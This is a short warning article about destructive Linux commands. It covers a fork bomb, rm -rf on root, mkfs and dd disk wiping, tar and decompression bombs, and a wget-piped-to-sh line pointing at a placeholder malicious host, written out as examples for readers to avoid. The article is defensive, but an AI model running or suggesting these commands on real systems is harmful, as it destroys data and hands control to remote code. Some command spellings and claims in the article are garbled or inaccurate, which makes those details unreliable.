Beware of these powerful and destructive Linux Commands

1. Linux Fork Bomb Command

:(){ :|: & };: is also referred to as Fork Bomb is actually a  denial-of-service(DOS) attack on a Linux box. It is actually a bash function. Once executed, it spawns itself multiple times leading to system hang/freeze.

One can get rid of it by restarting the system. 

2. Mv Folder/Dev/Null

mv folder/dev/null 

 Dev/null or null device  often referred to as bit bucked or black hole is a device file that discards all the data written on it but it reports that the writing operation is executed successfully.

3. Rm -Rf Command

rm -rf command is a speedy way of deleting a folder and its content . Listed below are the most common options one could use with "rm"

• rm command is used to delete the files in Linux system.
• rm -f command removes read-only files in folder without prompting.
• rm -r command deletes the content of a folder recursively.
• rm -d command is used to remove an empty directory but it will refuse to remove directory if it is not empty.
• rm -rf/ command is used for forced deletion (it deletes it even if it’s write protected) of all the content in root directory and sub folders.
• rm -rf* command is used for forced deletion of all the content in the current directory (directory you are currently working in) and sub folders.
• rm -rf. command is used for forced deletion of all the content in the current folder and sub folders. The rm -r.[^.]* command can also be used.
• rm -i command is used for removal of files and folders but a prompt will appear before removal.

4. Mkfs Command

Anything written after the mkfs will be formatted and replaced by a blank Linux file system.

Commands mentioned below will format the hard drive  provided you have root privileges:

• mkfs
• mkfs.ext3
• mkfs.bfs
• mkfs.ext2
• mkfs.minix
• mkfs.msdos
• mkfs.reiserfs
• mkfs.vfat
The command mkfs.cramfs will do the same thing as the above but it does not require root permissions.

5. Tar Bomb

The tar command is used for compressiing multiple files into a single archive file in .tar/.tgz format. A Tape Archive (Tar) bomb can be created with this command.
It is an archive file which explodes into thousands or millions of files with names similar to the existing files into the current directory rather than into a new directory when untarred.
You can avoid becoming a victim of a tar bomb by regularly creating a new protective directory whenever you receive a tar file and then moving the received tar file into this directory before untarring.
If the tar file is indeed a tar bomb then you can simply remove the newly created directory to get rid of it. Another way to avoid the explosion of a tar bomb is via the -t option to list all of the content of a tar file to give you an idea of the type of content contained within the tar file.

6. Dd Command

The dd command is used to copy & convert hard disk partitions. However, it can turn out to be harmful if you specify the wrong destination.
The command may be any one of these:
• dd if=/dev/hda of=/dev/hdb
• dd if=/dev/hda of=/dev/sdb
• dd if=something of=/dev/hda
• dd if=something of=/dev/sda                                     The following command will zero out the whole primary hard drive: dd if=/dev/zero of=/dev/had

• 7. Shell Script Code

  Someone may victimize you by giving you the link to a shell script and endorsing you to download and execute it. The script may contain some malicious or dangerous code inside. The format of command may look like this: wget http://some_malicious_source -O- | sh. The wget will download the script while the sh downloads the script execution.

  8. Malicious Source Code

  Someone gives you the source code and asks you to compile it. The code may appear to be a normal code but in fact some malicious code is disguised in the large source codeand it may cause harm to your system. To avoid being victimized by this kind of attack, only accept and compile your source code from trustworthy sources.

  9. Decompression Bomb

  You have received a compressed file and you are asked to extract this file which appears to be very small in size but may be a few KB. In fact, this small sized compressed file contains very highly compressed data.
  Once the file is decompressed, hundreds of GB of data is extracted which can fill up your hard drive to bring down the performance of your system. To avoid this situation, always remember to accept data from trustworthy sources.